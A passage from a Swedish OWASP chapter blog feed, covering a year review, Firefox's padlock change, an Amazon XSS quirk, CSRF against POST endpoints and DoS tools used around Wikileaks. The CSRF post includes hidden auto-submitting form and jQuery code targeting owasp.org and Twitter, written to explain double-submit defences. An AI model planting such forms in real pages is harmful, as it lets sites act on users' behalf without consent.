href="http://www.pcworld.com/businesscenter/article/202314/hacker_snoops_on_gsm_cell_phones_in_demo.html"&gt;Sätt upp din egen GSM-basstation och lura alla 2G-telefoner att du är deras operatör&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.pcworld.com/article/202140/atm_hack_gives_cash_on_demand.html"&gt;Hacka en bankomat, både &lt;i&gt;remote&lt;/i&gt; och på plats&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Hela stämningen i hackervärlden är ju just sådan. "Börja gräv någonstans och du skall finna säkerhetshål!" Black Hat och Defcon inspirerade mig till just det så jag har ägnat den senaste tiden åt att implementera lite ny säkerhetsteknik och köra den med webbläsare som påstår sig ha stöd. Mycket riktigt så hittar man problem. Allt sådant kan ni följa på &lt;a href="http://appsandsecurity.blogspot.com/"&gt;min nya, engelskspråkiga blogg &lt;i&gt;"Apps and Security"&lt;/i&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Nya tag hos bankerna&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Jag känner också av ett omtag hos de svenska bankerna. Sverige brukar framhållas som säkert jämfört med stora delar av omvärlden och jag är böjd att hålla med. Men för att hålla den ställningen så krävs omtag. Trojaner, man-in-the-browser och hack som det mot chipkort knackar på dörren konstant. Det skulle inte förvåna mig om de svenska bankerna lanserar nya säkerhetslösningar under 2011.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;John 2010-2011&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Jag brukar ju nämna några personliga saker i krönikan också. Sist skrev jag om planer på ett singelsläpp under våren men någon singel har ni nog inte sett till. AppSec-konferensen slukade mig helt och hållet. Men jag ger inte upp utan har tagit tjänstledigt i tre månader för att primärt arbeta med musiken. Jag ska också försöka ta tag i min sista forskningsartikel inför doktorsavhandlingen. Lustigt nog så vill chefer och bekanta gärna nämna det där doktorsarbetet som orsaken till min ledighet. För inte kan väl en vuxen man ta ledigt i tre månader för att hålla på med musik? Jo, det kan han. Och jag står för det också. Jag ska primärt ägna mig åt musik i tre månader. &lt;i&gt;Read it and weep&lt;/i&gt; ;).&lt;br /&gt;&lt;br /&gt;Men jag kommer ju inte lämna OWASP under dessa månader. T ex så är jag ansvarig för spåret &lt;i&gt;&lt;a href="http://www.owasp.org/index.php/Summit_2011_Working_Sessions/Session001"&gt;"Browser Security"&lt;/a&gt;&lt;/i&gt; vid &lt;a href="http://www.owasp.org/index.php/Summit_2011"&gt;OWASP Global Summit 2011&lt;/a&gt; som går av stapeln i Portugal 8-11 februrari. Workshop med Chromes, Firefox och IEs säkerhetsfolk plus en massa grymma webbsäkerhetsmänniskor inom och utanför OWASP. Vill ni haka på? Bara ni kan ordna €590 till boende och mat plus en flygresa till Portugal så är ni välkomna. OWASP är som vanligt helt öppet – det är bara att dyka upp och göra sin röst hörd! Hör av er så hjälper jag till med det praktiska.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;OWASP Sweden 2011&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;OK, jag har varit rätt slutkörd under hösten och inte mäktat med att fixa alla de där seminariekvällarna som vi vill ha. Men kraften börjar komma åter och tillsammans med mina co-leaders Mattias och Robert samt ledningsrådet så har vi några event på gång i närtid. Om allt går som jag vill så kör vi "HTTP-säkerhet" med undertecknad, Daniel "Haxx" Stenberg och Martin Holst-Swende på programmet i slutet av januari. Sen har vi kontaktat Mario Heiderich (typ bäst i världen på HTML5-säkerhet) och kommer flyga in honom februari/mars.&lt;br /&gt;&lt;br /&gt;Vi kommer också att ta in ett par nya personer i ledningsrådet precis som lovat tidigare. Fundera på om du vill vara med och planera vad som ska hända framöver. Eller kanske din kollega?&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Sist men inte minst så öppnar vi som första chapter dörrarna till en &lt;b&gt;ny diskussionslista – &lt;i&gt;OWASP Sweden Discuss&lt;/i&gt;&lt;/b&gt;. Där kan man skicka lästips, diskutera applikationssäkerhet, bjuda in till intressanta event och till och med skicka ut jobberbjudanden. Det enda vi inte vill ha där är reklam eller gnäll över särskilda leverantörer och varumärken. &lt;a href="https://lists.owasp.org/mailman/listinfo/owasp-sweden-discuss"&gt;Anmäl er bums&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Med det så önskar jag och OWASP ett gott nytt år. Vi ses 2011!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2580830151704331210?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2580830151704331210/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2580830151704331210' title='2 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2580830151704331210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2580830151704331210'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/arskronika-2010.html' title='Årskrönika 2010'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tONVxa3WGQM/S-aR4gYCR0I/AAAAAAAAAR0/8egMhf98K7Y/s72-c/OWASP_AppSec_Research_2010_Sqaure_Banner.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-7284326672385087635</id><published>2010-12-20T21:23:00.001+01:00</published><updated>2010-12-20T21:24:47.992+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='hänglås'/><category scheme='http://www.blogger.com/atom/ns#' term='https'/><category scheme='http://www.blogger.com/atom/ns#' term='padlock'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Hänglåset borta i FF4</title><content type='html'>Mozilla har tagit bort hänglåset som symbol för https i Firefox 4. Istället lanserar de en &lt;i&gt;site identity button&lt;/i&gt;. Bra eller dåligt? Diskussionen går varm på mejlinglistor och bloggar.&lt;br /&gt;&lt;br /&gt;Läs om det hela här:&lt;br /&gt;&lt;a href="https://support.mozilla.com/en-US/kb/Site%20Identity%20Button"&gt;https://support.mozilla.com/en-US/kb/Site%20Identity%20Button&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-7284326672385087635?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/7284326672385087635/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=7284326672385087635' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7284326672385087635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7284326672385087635'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/hanglaset-borta-i-ff4.html' title='Hänglåset borta i FF4'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1182980328888262591</id><published>2010-12-17T20:31:00.002+01:00</published><updated>2010-12-17T20:46:52.662+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='book injection'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='amazon'/><title type='text'>Book Injection (helt otroligt)</title><content type='html'>Böcker om hacking innehåller förstås ... elak kod. Så boken "&lt;i&gt;XSS Attacks: Cross Site Scripting Exploits and Defense&lt;/i&gt;" innehåller förstås &lt;i&gt;cross-site scripting&lt;/i&gt;-kod. Vad händer när amazon.com vill visa lite av innehållet i sådana böcker och glömmer att html-koda det hela? Det kan ni ta reda på genom följande enkla steg (inget farligt sker så vitt jag vet):&lt;br /&gt;&lt;br /&gt;1. Logga in på &lt;a href="http://amazon.com/"&gt;amazon.com&lt;/a&gt; (man måste vara inloggad för att få söka i böcker)&lt;br /&gt;2. Sök efter "&lt;i&gt;XSS Attacks&lt;/i&gt;"&lt;br /&gt;3. Boken ska dyka upp som första träff, välj den (eller om du är inloggad så klicka &lt;a href="http://www.amazon.com/XSS-Attacks-Scripting-Exploits-Defense/dp/1597491543/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1292609793&amp;amp;sr=1-1"&gt;här&lt;/a&gt;&amp;nbsp;direkt)&lt;br /&gt;4. Klicka på "&lt;i&gt;search inside this book&lt;/i&gt;"&lt;br /&gt;5. Sök efter '1000' (utan fnuttar)&lt;br /&gt;6. Hovra muspekaren över första sökträffen (sidan 28)&lt;br /&gt;&lt;br /&gt;Eller läs om det hela på &lt;a href="http://drwetter.eu/amazon/"&gt;http://drwetter.eu/amazon/&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;(Bloggpost 100 i år – tjoho!)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1182980328888262591?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1182980328888262591/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1182980328888262591' title='2 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1182980328888262591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1182980328888262591'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/book-injection-helt-otroligt.html' title='Book Injection (helt otroligt)'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1674346257872051572</id><published>2010-12-12T22:05:00.002+01:00</published><updated>2010-12-12T22:17:57.312+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='csrf'/><category scheme='http://www.blogger.com/atom/ns#' term='post'/><category scheme='http://www.blogger.com/atom/ns#' term='double submit'/><title type='text'>CSRF via POST</title><content type='html'>Jag håller på att förbereda mig för en presentation på &lt;a href="http://www.owasp.org/index.php/IBWAS10"&gt;OWASP IBWAS'10&lt;/a&gt; i veckan. En av sakerna jag tänkt visa är CSRF mot POST-metoder och det sessionslösa CSRF-skyddet "&lt;i&gt;double submit&lt;/i&gt;".&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;CSRF&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;CSRF (&lt;i&gt;cross-site request forgery&lt;/i&gt;) innebär att en attacksajt som lurar till sig icke ont anande surfare gör anrop in till en annan sajt och därigenom utnyttjar att offrets webbläsare automatiskt lägger till sessions-/autentiseringskakor i request:et. Det blir alltså ett legitimt anrop till servern utan att offret vet eller ser något.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;CSRF mot &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;GET&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Normalt snackas det ju om CSRF mot &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;GET&lt;/span&gt;-metoder. Dessa kan göras med enkla img-taggar, typ:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;img src="http://www.google.com/search?q=OWASP"&amp;nbsp;border="0" height="0"&amp;nbsp;width="0" /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Den taggen på attacksajten kommer alltså att göra en Google-sökning på "OWASP" med offrets Google-identitet och inget syns. Skälet till att detta fungerar är att bilder får hämtas cross-domain och att webbläsaren inte har en aning om att den URL:en inte kommer returnera en bild.&lt;br /&gt;&lt;br /&gt;Men de flesta känsliga requesten är &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;POST&lt;/span&gt; (eller &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;PUT&lt;/span&gt;/&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;DELETE&lt;/span&gt; i dessa REST-tider) och kan alltså inte anropas med en img-tagg. En riktig formulär-&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;POST&lt;/span&gt; skickar ju dessutom inparametrar i request-kroppen och kan därför inte ha dem uppradade på URL:en som i fallet ovan med &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;?q=OWASP&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;CSRF mot POST&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Kan man då göra CSRF mot &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;POST&lt;/span&gt;-metoder? Japp. Tänk er en URL &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;owasp.org/ws/oneliners&lt;/span&gt; som tar emot enradskommentarer av användare autentiserade till &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;owasp.org&lt;/span&gt;. Då skulle attacksajten kunna innehålla följande formulär:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;form id="target" method="POST" action="https://owasp.org/ws/oneliners" style="visibility:hidden"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="text" value="I hate OWASP!" name="oneLiner"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="submit" value="Go" /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;... och sen har följande JavaScript, i det här fallet byggt på JQuery:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$(document).ready(function() {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$('#target').submit();&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;});&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;... vilket innebär att så fort ett offer surfar in på attacksajten så postar han/hon "I hate OWASP!" till one liners-URL:en.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;POST&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;-CSRF mot Twitter?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Går denna attack att genomföra mot stora kommersiella tjänster? Ja, det har gått men tjänsteleverantörerna har lärt sig och implementerat skydd, ofta det så kallade &lt;i&gt;double submit&lt;/i&gt;-skyddet.&lt;br /&gt;&lt;br /&gt;Ett CSRF-formulär som twittrar åt offret skulle se ut så här:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;form id="target" method="POST" action="https://twitter.com/status/update" style="visibility:hidden"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="text" value="74691c4d14f2c70d0936e2478fb09f68d532282" name="authenticity_token"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="text" value="This was sent via POST CSRF" name="status"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="text" value="true" name="twttr"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="text" value="true" name="return_rendered_status"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="text" value="" name="lat"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="text" value="" name="lon"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="text" value="" name="place_id"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="text" value="false" name="display_coordinates"/&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;input type="submit" value="Go" /&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Som ni ser så finns det en intressant parameter &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;authenticity_token&lt;/span&gt;. Utan att ha avkodat Twitters alla cookies så förmodar jag att det är ett &lt;i&gt;double submit&lt;/i&gt;-skydd. För varje request till Twitter-sidan så skickas en kaka med ett slumpgenererat värde med. För att en POST ska godkännas så ska denna kaka ha samma värde som POST-parametern&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;authenticity_token&lt;/span&gt;. Eftersom attacksidan aldrig kan läsa offrets Twitter-kakor innan requestet så kan den heller inte inkludera en korrekt&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;authenticity_token&lt;/span&gt;. Svaret från Twitter blir:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;403 Forbidden: The server understood the request, but is refusing to fulfill it.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1674346257872051572?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1674346257872051572/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1674346257872051572' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1674346257872051572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1674346257872051572'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/12/csrf-via-post.html' title='CSRF via POST'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8060733002594113886</id><published>2010-12-11T16:36:00.007+01:00</published><updated>2010-12-11T17:40:19.368+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacktivism'/><category scheme='http://www.blogger.com/atom/ns#' term='DDoS'/><category scheme='http://www.blogger.com/atom/ns#' term='Wikileaks'/><category scheme='http://www.blogger.com/atom/ns#' term='LOIC'/><category scheme='http://www.blogger.com/atom/ns#' term='The Jester'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><title type='text'>Modern DoS för och emot Wikileaks</title><content type='html'>Wikileaks, &lt;a href="https://twitter.com/#search?q=%23cablegate"&gt;#cablegate&lt;/a&gt; och &lt;a href="http://en.wikipedia.org/wiki/Hacktivism"&gt;hacktivism&lt;/a&gt;. Känsliga ämnen som jag undviker att ha en åsikt om, åtminstone med OWASP- eller konsulthatten på ;). Men det finns förstås en massa intressant säkerhetsteknik att titta på. I det här fallet belastningsattacker både för och emot Wikileaks (och Julian Assange).&lt;br /&gt;&lt;br /&gt;De senaste två veckorna har världen i stort fått bekanta sig med två moderna former av &lt;i&gt;denial-of-service&lt;/i&gt; – XerXeS och LOIC. Jag håller mig ju normalt till applikationslagret men det är klart att sånt här är intressant.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;th3j35st3r (DoS emot)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Hacktivisten The Jester (&lt;a href="https://twitter.com/th3j35t3r"&gt;th3j35t3r&lt;/a&gt;&amp;nbsp;på Twitter) påpekade att hans/hennes belastningsattacker &lt;u&gt;mot&lt;/u&gt; Wikileaks i samband med senaste släppet inte var en DDoS-attack, dvs &lt;u&gt;inte&lt;/u&gt; en distribuerad belastningsattack med hjälp av zombie-datorer eller botnät:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_tONVxa3WGQM/TQOMLmlxi1I/AAAAAAAAAbI/kkvieza7IjM/s1600/the_jester_screenshot_twitter_not_ddos.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="280" src="http://4.bp.blogspot.com/_tONVxa3WGQM/TQOMLmlxi1I/AAAAAAAAAbI/kkvieza7IjM/s320/the_jester_screenshot_twitter_not_ddos.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Det var istället en DoS från en enda dator. Jag har alltid försökt skilja DoS och DDoS eftersom en bugg i ett protokoll, en webbserver eller en applikation kan möjliggöra en DoS-attack helt utan zombies.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;The Jester – En hacktivist&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;The Jesters&amp;nbsp;bio på Twitter lyder:&lt;br /&gt;"&lt;i&gt;Hacktivist for good. Obstructing the lines of communication for terrorists, sympathizers, fixers, facilitators, oppressive regimes and other general bad guys.&lt;/i&gt;"&lt;br /&gt;&lt;br /&gt;... och Jester omnämns typiskt "&lt;i&gt;the infamous patriot hacker The Jester (th3j35t3r)&lt;/i&gt;".&lt;br /&gt;&lt;br /&gt;Han (kan vara hon men hädanefter han) intervjuades av ethicalhack3r i somras. Mycket intressant att höra vad som driver en sådan här vigilant:&amp;nbsp;&lt;a href="http://www.ethicalhack3r.co.uk/security/interview-the-jester/"&gt;http://www.ethicalhack3r.co.uk/security/interview-the-jester/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;Jesters DoS-verktyg&amp;nbsp;XerXeS&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Så hur utför The Jester sina icke-distribuerade DoS-attacker? Jo, han har utvecklat ett verktyg kallat XerXeS. Jag fick tips av Pontus Engblom (tack!) om ett par videoklipp där Jester visar hur han mha XerXeS sänker två sajter han ogillar:&lt;br /&gt;&lt;br /&gt;&lt;object height="218" width="400"&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=17268609&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=1&amp;amp;color=&amp;amp;fullscreen=1&amp;amp;autoplay=0&amp;amp;loop=0" /&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=17268609&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=1&amp;amp;color=&amp;amp;fullscreen=1&amp;amp;autoplay=0&amp;amp;loop=0" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="218"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/17268609"&gt;XerXeS DoS-attack&lt;/a&gt; från &lt;a href="http://vimeo.com/user4111913"&gt;Infosec Island&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;object height="225" width="400"&gt;&lt;param name="allowfullscreen" value="true" /&gt;&lt;param name="allowscriptaccess" value="always" /&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=17290325&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=1&amp;amp;color=&amp;amp;fullscreen=1&amp;amp;autoplay=0&amp;amp;loop=0" /&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=17290325&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=1&amp;amp;color=&amp;amp;fullscreen=1&amp;amp;autoplay=0&amp;amp;loop=0" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="225"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/17290325"&gt;Nästa version av XerXeS&lt;/a&gt; från &lt;a href="http://vimeo.com/user4111913"&gt;Infosec Island&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Att döma av dessa videoklipp så utnyttjar han buggar i webbservrar som Apache och IIS för att med en enda maskin sänka hela sajter.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;&lt;b&gt;XerXeS inspirerat av Slowloris?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;RSnake och John Kinsella skrev ett verktyg kallat &lt;a href="http://ha.ckers.org/slowloris/"&gt;Slowloris&lt;/a&gt; som presenterades på Defcon 2009:&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="200" src="http://player.vimeo.com/video/7618090?portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;Slowloris gör partiella anrop till en webbserver och håller kopplingarna öppna, dvs avslutar inte anropet. Då och då fyller den på med nya HTTP-headrar för att hålla kopplingen öppen. På det viset konsumerar den sockets på servern. Över tid så kommer Slowloris få tag på fler och fler av webbserverns sockets och till slut tömma trådpoolen. Bam! &lt;i&gt;Denial-of-service&lt;/i&gt;&amp;nbsp;utan zombies. Pontus misstänker att XerXeS är byggt på Slowloris och jag håller med honom.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif; font-size: large;"&gt;The Jester gripen?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Den 30 november så publicerade The Jester en bloggpost där han berättade att polisen har tagit sig in hos honom och beslagtagit hans utrustning och program vilket fanns beskrivet här:&lt;br /&gt;&lt;a 